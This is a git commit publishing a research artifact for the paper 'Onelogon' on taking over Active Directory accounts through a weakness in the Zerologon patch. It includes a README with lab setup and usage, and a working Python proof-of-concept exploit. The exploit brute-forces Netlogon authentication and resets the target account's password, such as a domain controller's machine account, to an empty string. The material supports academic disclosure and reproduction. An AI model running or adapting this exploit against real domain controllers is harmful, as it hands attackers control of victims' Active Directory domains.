Onelogon: Initial public release

This commit is contained in:
Tobias Holl
2026-06-22 16:23:59 +02:00
commit 866b893819
14 changed files with 1786 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
__pycache__/
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Alexander Neff
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+222
View File
@@ -0,0 +1,222 @@
# Onelogon: Taking over Active Directory Accounts via Netlogon
This repository contains code and data accompanying our paper [*Onelogon: Taking over Active Directory Accounts via Netlogon*](https://softsec.link/woot26.onelogon) (WOOT'26).
1. [Context](#context)
2. [How to Cite](#how-to-cite)
3. [Artifact Structure and Setup](#artifact-structure-and-setup)
4. [Setting Up a Test Environment](#setting-up-a-test-environment)
5. [Scanning for Vulnerable Setups](#scanning-for-vulnerable-setups)
6. [Exploitation](#exploitation)
7. [Reproducing the Measurements](#reproducing-the-measurements)
---
## Context
The vulnerability outlined in our paper attacks a weakness in the 2020 cryptographic patch for the Zerologon vulnerability.
Accounts listed in a group policy intended to allow support for legacy setups that do not support Netlogon signing and sealing are vulnerable to this attack.
A detailed description of the vulnerability, the expected full attack chain, and possible mitigations can be found [in the paper](onelogon.pdf).
## How to Cite
```bibtex
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
```
## Artifact Structure and Setup
The artifact consists of a Python [`poetry`](https://python-poetry.org/) project for the scanner and exploits.
To run the scripts provided with the artifact, install Python (3.12 or later) and either `poetry` ([instructions](https://python-poetry.org/docs/)) or `uv` ([instructions](https://docs.astral.sh/uv/getting-started/installation/)). For simplicity, we list the commands assuming that you are using `poetry`; should you choose to use `uv`, simply replace any mention of `poetry` with `uv`.
Any commands in this document should be run in the artifact root directory (where this README is).
If using `poetry`, run `poetry install` to install all dependencies.
## Setting Up a Test Environment
To reproduce the results of the paper, you can set up a Domain Controller using a version of Windows Server with Zerologon fixed (we have verified the exploit against both the 2019 and 2025 versions).
To set up the Domain Controller on a new installation of Windows Server 2025, run the following commands:
```powershell
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
```
The vulnerability applies to any account listed in the DACL in the _Domain Controller: Allow vulnerable Netlogon secure channel connections_ group policy object or the corresponding registry key:
`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList`
You can manually configure these parameters on the Domain Controller (remember to run `gpupdate /force` if you update the GPO entry), or run the following command to add all accounts to the DACL in the registry key:
```powershell
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
```
## Scanning for Vulnerable Setups
To determine which accounts a Domain Controller lists in its `VulnerableChannelAllowList`, we provide a scanner that parses the registry hive and GPO volume share of the Domain Controller.
Note that accessing the registry for this scan requires Domain Administrator privileges (the exploit, of course, does not).
```powershell
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
```
A _positive_ scan result (there are vulnerable accounts on the Domain Controller) will reflect the security descriptor containing the vulnerable accounts (in Microsoft's Security Descriptor Definition Language):
```
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
```
A _negative_ result (the target DC is _not_ vulnerable) will instead look like this:
```
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
```
## Exploitation
To run the proof-of-concept exploit against a target Domain Controller, select a vulnerable account first.
You will need the Domain Controller's IP address, its host name, and the name of the vulnerable account.
In our example setup, the vulnerable Domain Controller is named `DC`.
Its machine account (`DC$`) is included in the GPO policy and therefore vulnerable to Onelogon.
```bash
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
```
<details>
<summary>Successful exploit output</summary>
As an illustration, we provide the output of a successful run of the meet-in-the-middle attack against a test environment:
```
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2
[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ: Took 5.0858272750047036 seconds,
average time per attempt: 0.00286042028965393909 seconds
[*] TRY: Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL: Took 125.08606619200145 seconds,
average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES: 5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.
```
</details>
## Reproducing the Measurements
To reproduce the measurements in Table 1 of the paper, execute all four exploits described in the previous section.
You can obtain the expected attack time without completing the full attack, which would be prohibitively expensive for the naive approaches.
The speed of the 32-bit brute-force that waits for the timeout is bounded by the validity period of the client challenges. A full cycle (in which 100k challenges can be processed) then takes 120s (the timeout for the challenge list to be cleared). The expected attack time, therefore, is always $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$.
For attacks that use a computer account (both the 32-bit and 24-bit attacks), take the average time per attempt $t$ from the **`TOTAL STATS`** section of the output. The 32-bit attack needs on average $2^{31}$ attempts (for a total expected time of $2^{31}t$). Similarly, the expected duration of the 24-bit attack is $2^{23}t$.
For the meet-in-the-middle approach, we cannot attempt all possible client credentials within the 120 second challenge expiry time.
Instead, the expected time for the attack is determined by how many authentiaction attempts we can perform within that time frame.
To obtain this figure, take the _average number of tries per cycle_ $a$ from the **`TOTAL STATS`** section of the output.
Since we need on average $2^{15}$ authentication attempts to obtain a success rate of 50%, the expected attack time is simply $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$
The exact timings obtained will depend on the exact hardware and software setup.
BIN
View File
Binary file not shown.
+331
View File
@@ -0,0 +1,331 @@
import argparse
from exploit.utils import AES_128_BIT_CFB_AND_SHA2, FLAGS, log
from impacket.dcerpc.v5 import nrpc, epm, transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.nt_errors import STATUS_ACCESS_DENIED
from multiprocessing import JoinableQueue, Process
import time
import signal
# Increase file limit
import resource
file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE))
if file_limit[1] > 10000:
file_limit[0] = 10000
else:
file_limit[0] = file_limit[1]
file_limit = tuple(file_limit)
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
def parse_args():
parser = argparse.ArgumentParser(description="Netlogon RPC Client")
parser.add_argument("--dc-name", help="Domain Controller Name")
parser.add_argument("--dc-ip", required=True, help="Domain Controller IP Address")
parser.add_argument("--username", "-u", required=True, help="sAMAccountName of the domain controller")
parser.add_argument("--comp-username", help="sAMAccountName of the computer account for buffer flushing")
parser.add_argument("--comp-password", help="Computer password for buffer flushing")
parser.add_argument("--comp-hash", help="Computer hash for buffer flushing (optional, if not provided, password will be used)")
parser.add_argument("--workers", "-w", type=int, default=100, help="Number of worker threads")
parser.add_argument("--naive", action="store_true", help="Use naive approach and bruteforce 2^32")
return parser.parse_args()
def connect(dc_ip, dc_name, silent=False):
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
try:
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
if not silent:
log(f"Successfully bound to Netlogon RPC on {dc_name} ({dc_ip})")
return rpc_con
except Exception as e:
log(f"Failed to bind to Netlogon RPC: {e}", "red")
exit(1)
def req_challenges_worker(queue: JoinableQueue, dc_ip, dc_name, computer_name, client_chall, per_worker):
# Ignore SIGINT in this process (worker will not react to Ctrl+C)
signal.signal(signal.SIGINT, signal.SIG_IGN)
rpc_con = connect(dc_ip, dc_name, silent=True)
while True:
task = queue.get()
if task == "STOP":
queue.task_done()
break
try:
for _ in range(per_worker):
nrpc.hNetrServerReqChallenge(
rpc_con,
f"{dc_name}\x00",
f"{computer_name}\x00",
client_chall
)
except Exception as e:
log(f"Worker error: {e}", "red")
finally:
queue.task_done()
def do_successful_authentication(rpc_con, dc_name, computername, username, password=None, nt_hash=None, server_chall=None):
if password is None and nt_hash is None:
raise ValueError("Either password or nt_hash must be provided")
AccountName = f"{username}$" # Account that tries to authenticate
ComputerName = computername
client_chall = b"12345678"
flags = FLAGS(0b0100000000111111111111111111111)
flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag
if not server_chall:
# Request server challenge if not provided
resp = nrpc.hNetrServerReqChallenge(
rpc_con,
f"{dc_name}\x00",
f"{ComputerName}\x00",
client_chall,
)
server_chall = resp["ServerChallenge"]
# Local computations
session_key = nrpc.ComputeSessionKeyAES(
password,
client_chall,
server_chall,
nt_hash,
)
ClientStoredCredential = nrpc.ComputeNetlogonCredentialAES(
client_chall,
session_key,
)
# Authenticate with the server
nrpc.hNetrServerAuthenticate2(
rpc_con,
NULL,
f"{AccountName}\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
f"{ComputerName}\x00",
ClientStoredCredential,
flags.flag
)
def set_password_empty(rpc_con, dc_name, AccountName, ComputerName, client_chall):
# Construct a valid authenticator
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator["Credential"] = client_chall # The encryption will revert the last byte back to the original value
authenticator["Timestamp"] = 0
# Construct the ClearNewPassword structure as empty password
new_pw = "".encode("utf-16le")
assert len(new_pw) <= 512
ClearNewPassword = nrpc.NL_TRUST_PASSWORD()
ClearNewPassword["Buffer"] = (b"\x00" * (512 - len(new_pw))) + new_pw
ClearNewPassword["Length"] = len(new_pw)
assert len(ClearNewPassword.getData()) == 516
assert ClearNewPassword.getData() == b"\x00" * 516
req = nrpc.NetrServerPasswordSet2()
req["PrimaryName"] = f"{dc_name}\x00"
req["AccountName"] = f"{AccountName}\x00"
req["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
req["ComputerName"] = f"{ComputerName}\x00"
req["Authenticator"] = authenticator
req["ClearNewPassword"] = ClearNewPassword.getData()
try:
rpc_con.request(req)
log("Password set successfully to empty string!")
return True
except nrpc.DCERPCException:
return False
def clear_lines(n):
r"""
Clears n lines in the terminal.
\033[F moves the cursor up one line.
\033[K clears the line.
"""
for _ in range(n):
print("\x1B[F\x1B[K", end="")
def main():
args = parse_args()
log(args)
# Set up arg variables
dc_ip = args.dc_ip
dc_name = args.dc_name
username = args.username.rstrip("$") # Remove trailing '$' if present
num_workers = args.workers
comp_username = args.comp_username.rstrip("$") if args.comp_username else None # Remove trailing '$' if present
comp_password = args.comp_password
comp_hash = bytes.fromhex(args.comp_hash) if args.comp_hash else None
# Setup two rpc connections for the cleanup auth and our main authentication try
rpc_con_auth = connect(dc_ip, dc_name)
rpc_con_cleanup = connect(dc_ip, dc_name)
# Define the flags for AES authentication
flags = FLAGS(0b0100000000111111111111111111111)
flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag
log(f"Using flags: ({bin(flags.flag)}) \n{flags} ")
# Define auth vars
tries = 100_000 # 100_000 cache places but leave some room for clean up and other connections
per_worker = tries // num_workers
AccountName = f"{username}$" # Account that tries to authenticate
ComputerName = username # NetBIOS name of the client computer authenticating
client_chall = b"\x00" * 4 + b"\x11" * 3 + b"\x00"
# Set up multiprocessing queue for request challenges
task_queue = JoinableQueue()
processes = []
for _ in range(num_workers):
p = Process(
target=req_challenges_worker,
args=(task_queue, dc_ip, dc_name, ComputerName, client_chall, per_worker)
)
p.start()
processes.append(p)
# To be sure we have a clean start, do a successful authentication first
if comp_username:
do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash)
total_time = 0
total_tries = 0
cycles = 0
if comp_username and not args.naive:
log("Estimated total tries with flushing: 2^24 / 2")
exp_tries = 2**24 / 2
authenticator_complexity = 2**8
elif args.naive:
log("Estimated total tries (naive): 2^32 / 2")
exp_tries = 2**32 / 2
authenticator_complexity = 1
else:
log("Estimated total tries without flushing: 2^16 / 2")
exp_tries = 2**16 / 2
authenticator_complexity = 2**16
# Stop bruteforce if we found a valid clientCredential
found = False
print()
log("Starting the brute force attack...")
try:
while not found:
cycles += 1
start_all = time.perf_counter()
start_req = time.perf_counter()
# Request server challenge for clean up so it is the first item in the request list
resp = nrpc.hNetrServerReqChallenge(
rpc_con_cleanup,
f"{dc_name}\x00",
f"{ComputerName}\x00",
b"12345678" # Dummy client challenge,
)
server_chall = resp["ServerChallenge"]
# Perform challenge requests
for _ in range(num_workers):
task_queue.put("REQUEST")
task_queue.join() # Block until all tasks are processed
end_req = time.perf_counter()
# Try to guess the clientCredential which should be client_challenge[:6] + 2x rand_byte
start_auth = time.perf_counter()
tries_this_round = tries
for i in range(authenticator_complexity):
# If we exceed 2 minutes, resend challenges and restart the round due to automatic cache flush
curr_time = time.perf_counter()
if curr_time - start_auth > 120:
tries_this_round = i
break
try:
if comp_username:
clientCredential = client_chall[:7] + int.to_bytes(i, 1)
else:
clientCredential = client_chall[:6] + int.to_bytes(i, 2)
# Check if session key encrypts the client challenge with null bytes
nrpc.hNetrServerAuthenticate2(
rpc_con_auth,
NULL,
f"{AccountName}\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
f"{ComputerName}\x00",
clientCredential, # IF THIS WORKS WE FOUND THE CORRECT SESSION KEY
flags.flag
)
log(f"!!!Successfully authenticated {AccountName} on {dc_name} with {clientCredential}!!!")
found = True
except nrpc.DCERPCSessionError as e:
if e.get_error_code() == STATUS_ACCESS_DENIED:
pass
else:
raise e
except Exception as e:
log(f"Authentication error: {e}", "red")
end_auth = time.perf_counter()
if not found:
start_cleanup = time.perf_counter()
if comp_username:
do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash, server_chall=server_chall)
end_cleanup = time.perf_counter()
end_all = time.perf_counter()
# Flush previous lines
if total_tries != 0:
clear_lines(10)
# Track all time stats
total_tries += tries_this_round
total_time += end_all - start_all
# Log the timing information
log("ROUND STATS:", "blue")
log(f"REQ: Took {end_req - start_req} seconds, average time per attempt: {(end_req - start_req) / (tries_this_round):.20f} seconds", "blue")
log(f"TRY: Took {end_auth - start_auth} seconds", "blue")
log(f"CLEANUP: Took {end_cleanup - start_cleanup} seconds", "blue")
log(f"ALL: Took {end_all - start_all} seconds, average time per attempt: {(end_all - start_all) / (tries_this_round):.20f} seconds", "blue")
log("", "blue")
log("TOTAL STATS:", "blue")
log(f"TIME: {total_time / 60 / 60:.2f} hours passed, average time per attempt: {total_time / (total_tries):.20f} seconds", "blue")
log(f"TRIES: {total_tries}, average tries per cycle: {total_tries // cycles}", "blue")
log(f"Estimated progress: {(total_tries / exp_tries) * 100:.2f}%, estimated time remaining: {((total_time / total_tries) * (exp_tries - total_tries)) / 60 / 60:.2f} hours", "blue")
# SET THE NEW PASSWORD TO EMPTY STRING
for i in range(256):
if set_password_empty(rpc_con_auth, dc_name, AccountName, ComputerName, client_chall[:7] + int.to_bytes(i)):
log(f"Successfully set the password of {AccountName} to an empty string!")
break
except KeyboardInterrupt:
print("\x1B[K", end="\r")
log("KeyboardInterrupt received, exiting gracefully.")
finally:
# Stop all worker processes
for _ in processes:
task_queue.put("STOP")
log("All tasks have been processed, stopping workers.")
for p in processes:
p.join()
print(f"Worker {p.pid} has been stopped.", end="\r", flush=True)
log("All workers have been stopped.")
task_queue.join()
task_queue.close()
+145
View File
@@ -0,0 +1,145 @@
from termcolor import colored
NT35_BDC_CONTINUOUS_UPDATE = 0b10
RC4_SUPPORT = 0b100
BDC_HANDLING_CHANGELOGS = 0b10000
RESTARTING_FULL_DC_SYNC = 0b100000
NO_VALIDATION_LEVEL_2_FOR_NON_GENERIC_PASSTHROUGH = 0b10000000
DATABASE_REDO = 0b10000000
REFUSAL_OF_PASSWORD_CHANGES = 0b100000000
NETRLOGON_SEND_TO_SAM = 0b1000000000
GENERIC_PASS_THROUGH = 0b10000000000
CONCURRENT_RPC_CALLS = 0b100000000000
AVOID_USER_ACCOUNT_DATABASE_REPLICATION = 0b1000000000000
AVOID_SECURITY_AUTHORITY_DATABASE_REPLICATION = 0b10000000000000
STRONG_KEYS = 0b100000000000000
TRANSITIVE_TRUSTS = 0b1000000000000000
NETR_SERVER_PASSWORD_SET2 = 0b100000000000000000
NETR_LOGON_GET_DOMAIN_INFO = 0b1000000000000000000
CROSS_FOREST_TRUSTS = 0b10000000000000000000
NO_NT4_EMULATION = 0b100000000000000000000
RODC_PASS_THROUGH = 0b1000000000000000000000
AES_128_BIT_CFB_AND_SHA2 = 0b1000000000000000000000000
AUTHENTICATED_RPC_VIA_LSASS_SUPPORTED = 0b100000000000000000000000000000
SECURE_RPC_AUTHENTICATION = 0b1000000000000000000000000000000
KERBEROS_FOR_SECURE_CHANNEL_SETUP = 0b10000000000000000000000000000000
# 3.1.4.2 Netlogon Negotiate Options
class FLAGS:
def __init__(self, flag: int):
self.flag = flag
if flag < 0 or flag > 0xFFFFFFFF:
raise ValueError("Flags must be a 32-bit unsigned integer.")
self.flag_values = {
0b1: "A IGNORED (Account lockout)",
0b10: "B NT3.5 BDC continuous update",
0b100: "C RC4 support",
0b1000: "D IGNORED (Promotion count(deprecated))",
0b10000: "E Supports BDC handling Changelogs",
0b100000: "F Supports Restarting full DC sync",
0b1000000: "G Does not require ValidationLevel 2 for nongeneric passthrough",
0b10000000: "H Supports DatabaseRedo",
0b100000000: "I Supports refusal of password changes",
0b1000000000: "J Supports NetrLogonSendToSam",
0b10000000000: "K Supports generic pass-through",
0b100000000000: "L Supports concurrent RPC calls",
0b1000000000000: "M Supports avoid of user account database replication",
0b10000000000000: "N Supports avoid of Security Authority database replication",
0b100000000000000: "O Supports Strong keys",
0b1000000000000000: "P Supports transitive trusts",
0b10000000000000000: "Q IGNORED (Supports DNS trusts)",
0b100000000000000000: "R Supports NetrServerPasswordSet2",
0b1000000000000000000: "S Supports NetrLogonGetDomainInfo",
0b10000000000000000000: "T Supports cross-forest trusts",
0b100000000000000000000: "U No NT4 Emulation",
0b1000000000000000000000: "V Supports RODC pass-through",
0b10000000000000000000000: "0",
0b100000000000000000000000: "0",
0b1000000000000000000000000: "W Supports AES 128-bit CFB and SHA2",
0b10000000000000000000000000: "0",
0b100000000000000000000000000: "0",
0b1000000000000000000000000000: "0",
0b10000000000000000000000000000: "0",
0b100000000000000000000000000000: "X IGNORED (Authenticated RPC via lsass supported)",
0b1000000000000000000000000000000: "Y Supports secure RPC authentication",
0b10000000000000000000000000000000: "Z Supports Kerberos for secure channel setup",
}
def compare(self, other):
if not isinstance(other, FLAGS):
raise TypeError("Comparison is only supported with another FLAGS instance.")
if self.flag == other.flag:
return "Equal"
else:
out = "Self - Other - Difference:\n"
for i in range(1, 33):
if (self.flag & (1 << i)) != (other.flag & (1 << i)):
out += f"{(self.flag & (1 << i)) >> i} - {(other.flag & (1 << i)) >> i}: {self.flag_values[1 << i]}\n"
return out
def set_bit(self, flag: int):
if flag < 0 or flag > 0xFFFFFFFF:
raise ValueError("Flags must be a 32-bit unsigned integer.")
self.flag |= flag
def unset_bit(self, flag: int):
if flag < 0 or flag > 0xFFFFFFFF:
raise ValueError("Flags must be a 32-bit unsigned integer.")
self.flag &= ~flag
def __str__(self):
out = ""
out += f"{self.flag & 1}: A IGNORED (Account lockout)"
out += f"\n{(self.flag & 2) >> 1}: B NT3.5 BDC continuous update"
out += f"\n{(self.flag & 4) >> 2}: C RC4 support"
out += f"\n{(self.flag & 8) >> 3}: D IGNORED (Promotion count(deprecated))"
out += f"\n{(self.flag & 0x10) >> 4}: E Supports BDC handling Changelogs"
out += f"\n{(self.flag & 0x20) >> 5}: F Supports Restarting full DC sync"
out += f"\n{(self.flag & 0x40) >> 6}: G Does not require ValidationLevel 2 for nongeneric passthrough"
out += f"\n{(self.flag & 0x80) >> 7}: H Supports DatabaseRedo"
out += f"\n{(self.flag & 0x100) >> 8}: I Supports refusal of password changes"
out += f"\n{(self.flag & 0x200) >> 9}: J Supports NetrLogonSendToSam"
out += f"\n{(self.flag & 0x400) >> 10}: K Supports generic pass-through"
out += f"\n{(self.flag & 0x800) >> 11}: L Supports concurrent RPC calls"
out += f"\n{(self.flag & 0x1000) >> 12}: M Supports avoid of user account database replication"
out += f"\n{(self.flag & 0x2000) >> 13}: N Supports avoid of Security Authority database replication"
out += f"\n{(self.flag & 0x4000) >> 14}: O Supports Strong keys"
out += f"\n{(self.flag & 0x8000) >> 15}: P Supports transitive trusts"
out += f"\n{(self.flag & 0x10000) >> 16}: Q IGNORED (Supports DNS trusts)"
out += f"\n{(self.flag & 0x20000) >> 17}: R Supports NetrServerPasswordSet2"
out += f"\n{(self.flag & 0x40000) >> 18}: S Supports NetrLogonGetDomainInfo"
out += f"\n{(self.flag & 0x80000) >> 19}: T Supports cross-forest trusts"
out += f"\n{(self.flag & 0x100000) >> 20}: U No NT4 Emulation"
out += f"\n{(self.flag & 0x200000) >> 21}: V Supports RODC pass-through"
out += f"\n{(self.flag & 0x400000) >> 22}: 0"
out += f"\n{(self.flag & 0x800000) >> 23}: 0"
out += f"\n{(self.flag & 0x1000000) >> 24}: W Supports AES 128-bit CFB and SHA2"
out += f"\n{(self.flag & 0x2000000) >> 25}: 0"
out += f"\n{(self.flag & 0x4000000) >> 26}: 0"
out += f"\n{(self.flag & 0x8000000) >> 27}: 0"
out += f"\n{(self.flag & 0x10000000) >> 28}: 0"
out += f"\n{(self.flag & 0x20000000) >> 29}: X IGNORED (Authenticated RPC via lsass supported)"
out += f"\n{(self.flag & 0x40000000) >> 30}: Y Supports secure RPC authentication"
out += f"\n{(self.flag & 0x80000000) >> 31}: Z Supports Kerberos for secure channel setup"
return out
def __eq__(self, value):
if not isinstance(value, FLAGS):
return NotImplemented
return self.flag == value.flag
def log(message, color=None):
"""Simple logging function to print messages."""
if color:
if color == "blue":
print(f"{colored('[*]', 'blue', attrs=['bold'])} {message}")
elif color == "orange":
print(f"{colored('[!]', 'yellow', attrs=['bold'])} {message}")
else:
print(colored(f"{message}", color, attrs=["bold"]))
else:
print(f"{colored('[+]', 'green', attrs=['bold'])} {message}")
BIN
View File
Binary file not shown.
Generated
+692
View File
@@ -0,0 +1,692 @@
# This file is automatically @generated by Poetry 2.3.4 and should not be changed by hand.
[[package]]
name = "blinker"
version = "1.9.0"
description = "Fast, simple object-to-object and broadcast signaling"
optional = false
python-versions = ">=3.9"
groups = ["main"]
files = [
{file = "blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc"},
{file = "blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf"},
]
[[package]]
name = "cffi"
version = "1.17.1"
description = "Foreign Function Interface for Python calling C code."
optional = false
python-versions = ">=3.8"
groups = ["main"]
markers = "platform_python_implementation != \"PyPy\""
files = [
{file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"},
{file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"},
{file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"},
{file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"},
{file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"},
{file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"},
{file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"},
